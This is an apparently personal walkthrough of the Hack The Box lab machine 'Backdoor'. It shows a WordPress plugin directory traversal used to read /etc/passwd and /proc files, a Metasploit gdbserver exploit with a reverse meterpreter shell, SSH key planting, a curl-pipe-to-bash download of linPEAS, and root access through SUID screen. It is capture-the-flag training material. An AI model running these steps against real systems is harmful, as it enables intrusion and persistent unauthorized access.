Walkthrough: Backdoor - Hack The Box

12 minute read

Backdoor Info Card

In this box, we exploit a vulnerable Wordpress plugin to look through the /proc directory. This leads us to a running gdbserver instace, which we leverage to get a shell on the box. From there, we leverage our SUID privileges for screen and a detached root screen session to root the box.


First, we’ll start by running nmap. We’re not under a time crunch here, so we’ll just enumerate as much as we can by using the -A and -p- options.

nmap -A -p- -T4

Note: The box’s IP was when I completed this.


Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-14 19:56 EST
Warning: giving up on port because retransmission cap hit (6).
Nmap scan report for
Host is up (0.24s latency).
Not shown: 65527 closed tcp ports (conn-refused)
22/tcp    open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 b4:de:43:38:46:57:db:4c:21:3b:69:f3:db:3c:62:88 (RSA)
|   256 aa:c9:fc:21:0f:3e:f4:ec:6b:35:70:26:22:53:ef:66 (ECDSA)
|_  256 d2:8b:e4:ec:07:61:aa:ca:f8:ec:1c:f8:8c:c1:f6:e1 (ED25519)
80/tcp    open     http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-generator: WordPress 5.8.1
|_http-title: Backdoor – Real-Life
1337/tcp  open     waste?
43783/tcp filtered unknown
47302/tcp filtered unknown
51239/tcp filtered unknown
58902/tcp filtered unknown
60976/tcp filtered unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 984.06 seconds
Port Service Product/Version Notes
22 SSH OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) This is a pretty recent version of SSH. This isn’t likely to be the way in.
80 HTTP Apache httpd 2.4.41 ((Ubuntu)) There isn’t much special about this version of Apache either. The website is probably where I’ll go first though.
1337 waste?   This is interesting. There isn’t enough info to determine what it is yet though. We’ll come back to this later.


Going to sends us to a wordpress site that looks like it pretty much hasn’t been touched, aside from replacing the contents of the homepage with some text about the Sweedish Museum of Modern Art.

There a link to a site called backdoor.htb, which we can add to our hosts file by running:

sudo nano /etc/hosts

and then adding this line:  backdoor.htb

All this does is bring us to what seems to be the same site.

It looks like they’re leaving directory listing on, which should make it easier to manually enumerate stuff like plugins and themes. Going to /wp-content/ shows the directory listing.

If we go to http://backdoor.htb/wp-content/plugins/, we can see that there’s a plugin called ebook-download.

Going into that folder shows us a file called readme.txt. Opening it describes a plugin that can be used to allow people to download your ebook if they put in an email address. It also shows that the version that’s running is version 1.1.

Some quick googling for “wordpress ebook download exploit” shows that there’s a directory traversal vulnerability in version 1.1.

The vulnerability works by simply going to the right URL. Here’s the sample exploit path:


If we add our domain onto the front, we get this


If we put this URL into our browser, we get back a download of the wp-config file!


Going to this URL gets us the /etc/passwd file

list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
mysql:x:113:118:MySQL Server,,,:/nonexistent:/bin/false

Looks like the only two users with shell access are root and user.

While looking around the system, I figured I’d create a script (which I called file_load.sh) to make things easier:

#! /bin/bash



curl -s $URL

After making the file executable (with chmod +x file_load.sh), all you have to do is run ./file_load.sh <filename> and you get back the file.

This took a lot of digging around, but the files that ended up being the most useful were /proc/net/tcp and /proc/sched_debug . Here are some links (1, 2) that go deeper into the /proc filesystem and what all these files do.


  sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode                                                     
   0: 0100007F:8124 00000000:0000 0A 00000000:00000000 00:00000000 00000000   113        0 36243 1 0000000000000000 100 0 0 10 0                     
   1: 0100007F:0CEA 00000000:0000 0A 00000000:00000000 00:00000000 00000000   113        0 36245 1 0000000000000000 100 0 0 10 0                     
   2: 00000000:15B3 00000000:0000 0A 00000000:00000000 00:00000000 00000000  1000        0 647405 1 0000000000000000 100 0 0 10 0                    
   3: 3500007F:0035 00000000:0000 0A 00000000:00000000 00:00000000 00000000   101        0 32267 1 0000000000000000 100 0 0 10 0                     
   4: 00000000:0016 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 33602 1 0000000000000000 100 0 0 10 0                     
   5: 7D0B0A0A:E02C 01010101:0035 02 00000001:00000000 01:00000149 00000002   101        0 647404 2 0000000000000000 400 0 0 1 7                     
   6: 7D0B0A0A:B5E2 1B100A0A:01BB 01 00000000:00000000 00:00000000 00000000  1000        0 627543 1 0000000000000000 38 4 26 10 -1                   
   7: 7D0B0A0A:8728 3F0E0A0A:115C 01 00000000:00000000 00:00000000 00000000  1000        0 515836 1 0000000000000000 24 4 31 10 10                   
   8: 7D0B0A0A:0539 1B100A0A:8888 01 00000000:00000000 02:0007E04E 00000000  1000        0 599419 2 0000000000000000 52 4 12 10 38   

Here we can see a few of the ports that were opened by our user (UID 1000). They’re hex-encoded, but can be easily switched back to decimal using a tool like this one from RapidTables. The ports opened by UID 1000 are 5555 (15B3), 46562 (B5E2), 34600 (8728), and 1337 (0539). There’s that 1337 port we saw open earlier. Seems like that should be our next way in. We just need to figure out how to connect to it.

/proc/sched_debug (abridged):

Sched Debug Version: v0.11, 5.4.0-80-generic #90-Ubuntu
ktime                                   : 68784828.820476
sched_clk                               : 68785293.346785
cpu_clk                                 : 68784924.951576
jiffies                                 : 4312088484
sched_clock_stable()                    : 1


  .dl_nr_running                 : 0
  .dl_nr_migratory               : 0
  .dl_bw->bw                     : 996147
  .dl_bw->total_bw               : 0

runnable tasks:
 S           task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
 S        systemd     1      3113.646302     28468   120         0.000000      6818.043354         0.000000 0 0 /autogroup-2
 I         rcu_gp     3      7740.423548         4   100         0.000000         0.031911         0.000000 0 0 /
 I     rcu_par_gp     4        15.970053         2   100         0.000000         0.001708         0.000000 0 0 /
 S           bash 164652         0.538051         1   120         0.000000         1.811467         0.000000 0 0 /autogroup-932
 S      gdbserver 164653       143.808993       686   120         0.000000       171.403338         0.000000 0 0 /autogroup-932
 S           bash 164870       761.529968       235   120         0.000000       117.235479         0.000000 0 0 /autogroup-935
 S          sleep 179340    543731.309540         1   120         0.000000         0.999984         0.000000 0 0 /autogroup-61

cpu#1, 2294.609 MHz
  .nr_running                    : 2
  .nr_switches                   : 13710520
  .nr_load_updates               : 0
  .nr_uninterruptible            : -16
  .next_balance                  : 4312.088501
  .curr->pid                     : 88298
  .clock                         : 68784927.354497
  .clock_task                    : 68784927.354497
  .avg_idle                      : 1000000
  .max_idle_balance_cost         : 500000


  .dl_nr_running                 : 0
  .dl_nr_migratory               : 0
  .dl_bw->bw                     : 996147
  .dl_bw->total_bw               : 0

runnable tasks:
 S           task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
 S       kthreadd     2    972446.880543       509   120         0.000000        26.262679         0.000000 0 0 /
 S        cpuhp/1    15      6224.457258        11   120         0.000000         0.111004         0.000000 0 0 /
 S        apache2 177262    244868.370907     17935   120         0.000000     12533.586502         0.00
 I kworker/u256:1 178046   1028474.318445       778   120         0.000000        26.767364         0.00
 I    kworker/1:0 178112   1028475.439127      4308   120         0.000000       293.455831         0.00

This file has a lot of info. What’s of interest to us here though are the running processes that are listed. Now this is still a lot to handle and unfortunately as far as I know there’s not really a way to easily identify what’s important and what’s not, aside from experience. After doing a lot of digging into these processes, one jumped out as the most interesting: gdbserver.

As it turns out, gdbserver is a remote debugging program for the GNU Debugger (gdb). This sounds like a good candidate for what might be running on port 1337.

Because of the way gdbserver is configured on the box, only one person can be connected to it at a time. You may have to reset the box to get it to work. If you run nmap -p 1337 and the port shows as “closed”, that means someone has already used it.

Here’s a little script that will print out a new line whenever it detects that port 1337 is open:

while true
	nmap -p 1337 | grep "open"
	sleep 10

Checking out gdb on metasploit, we can see that there is a metasploit module available for this. We’ll use it for simplicity and reliability. Just run

use exploit/multi/gdb/gdb_server_exec

to get the module started.

Next, run info to list all of the options. Here are the settings we want to change:

  • TARGET: 1
  • RPORT: 1337
  • PAYLOAD: linux/x64/meterpreter/reverse_tcp
  • LHOST: <Your IP>
  • LPORT: 9002 (choose whatever you want)

We’re using Target 1 (x86_64) and the x64 payload because the machine is an x64 (64-bit) machine, not an x86 (32-bit) machine.



a few times to set the appropriate values.

After setting all of those options, waiting for port 1337 to open up, and running


we should get a meterpreter session back. This is good enough to get user.txt, but it would be nice to have a better shell, so let’s get ourselves ssh access.

First, run


to make yourself a key on your local machine. I called mine key.

Next run

cat key.pub #or whatever you called your key with ".pub" at the end

to get the contents of your public key.

Now on our meterpreter session we’ll do this:

cd ~
mkdir .ssh
cd .ssh
echo "<CONTENTS OF YOUR PUBLIC KEY>" >> authorized_keys
chmod 600 authorized_keys

Now we can log into the box as user

ssh -i key user@backdoor.htb



Let’s start by running linPEAS. First, download the latest linpeas.sh file from the github.

We’ll set up a web server on our local machine (using the folder with linpeas.sh as the working directory)

python -m http.server

Then on the ssh session, just run

curl http://<YOUR IP ADDRESS>:8000/linpeas.sh | bash

and linPEAS will start running automatically.

This identified a few paths for us:

╔══════════╣ Sudo version
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-version                                                                                                                                         
Sudo version 1.8.31                                                                                                                                                                                                

Vulnerable to CVE-2021-4034

Vulnerable to CVE-2021-3560

╔══════════╣ Cleaned processes
╚ Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-unix/privilege-escalation#processes 
root         848  0.0  0.0   2608  1832 ?        Ss   03:14   0:01      _ /bin/sh -c while true;do sleep 1;find /var/run/screen/S-root/ -empty -exec screen -dmS root ;; done

╔══════════╣ Checking Pkexec policy
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation/interesting-groups-linux-pe#pe-method-2                                                                                                              

Firstly there are the two sudo vulnerabilities, which are vulnerabilities in a package called polkit. These would most likely work here, but really they aren’t the intended privilege escalation vectors.

Looking more into the Pkexec vulnerability, we’d need credentials, so that’s out of contention.

The process mentioned does look interesting though. We’ll search through some man pages to figure out what’s really going on here.

From the find manpage:


The part of the command line after the list of starting points is the expression. This is a kind of query specification describing how we match files and what we do with the files that were matched. An expression is composed of a sequence of things:

Tests Tests return a true or false value, usually on the basis of some property of a file we are considering. The -empty test for example is true only when the current file is empty.

Actions Actions have side effects (such as printing something on the standard output) and return either true or false, usually based on whether or not they are successful. The -print action for example prints the name of the current file on the standard output.

-empty File is empty and is either a regular file or a directory.

-exec command ; Execute command; true if 0 status is returned. All following arguments to find are taken to be arguments to the command until an argument consisting of ; is encountered. The string {} is replaced by the current file name being processed everywhere it occurs in the arguments to the command, not just in arguments where it is alone, as in some versions of find. Both of these constructions might need to be escaped (with a \) or quoted to protect them from expansion by the shell. See the EXAMPLES section for examples of the use of the -exec option. The specified command is run once for each matched file. The command is executed in the starting directory. There are unavoidable security problems surrounding use of the -exec action; you should use the -execdir option instead.

So the find /var/run/screen/S-root/ -empty part of the command finds only empty files or directories in that /var/run/screen/S-root/ directory (including the directory itself). For each matched file, screen -dmS root is then executed.

From the screen manpage:


causes screen to ignore the $STY environment variable. With “screen -m” creation of a new session is enforced, regardless whether screen is called from within another screen session or not. This flag has a special meaning in connection with the ‘-d’ option:


-m Start screen in “detached” mode. This creates a new session but doesn’t attach to it. This is useful for system startup scripts.

-S sessionname

When creating a new session, this option can be used to specify a meaningful name for the session. This name identifies the session for “screen -list” and “screen -r” actions. It substitutes the default [tty.host] suffix.

so screen -dmS root creates a new detatched session called “root”, which runs as the root user.

Also interestingly, we have SUID (Set UID) privileges for screen. We can see that in the output of linPEAS, but we can also check it with this command

find / -perm -4000 2>/dev/null #Find all SUID binaries



We can also see where screen is saving its sessions for our user with this command

screen -list


No Sockets found in /run/screen/S-user.

If I were a betting man, I’d wager that /run/screen/S-root is the folder where the root screen sessions are stored. What that means is that the command we looked at earlier has the effect of keeping a detached root screen session open all the time, because if the screen session is ever closed, the find command will match on the /run/screen/S-root directory itself (because it is empty) and then execute another screen session in detatched mode.

Now we just need to figure out how to use our SUID privileges to attach to that session. Here’s another snippet from the manpage for screen:

-r [pid.tty.host]

-r sessionowner/[pid.tty.host]

resumes a detached screen session. No other options (except combinations with -d/-D) may be specified, though an optional prefix of [pid.]tty.host may be needed to distinguish between multiple detached screen sessions. The second form is used to connect to another user’s screen session which runs in multiuser mode. This indicates that screen should look for sessions in another user’s directory. This requires setuid-root.

This looks like it could work, as long as the config for screen has multiuser turned on by default. We’d just have to try to connect to root/root.

Let’s try it. We’ll run

screen -r root/root

and we get back a root shell! Now we can just run cat ~/root.txt and we get the root flag.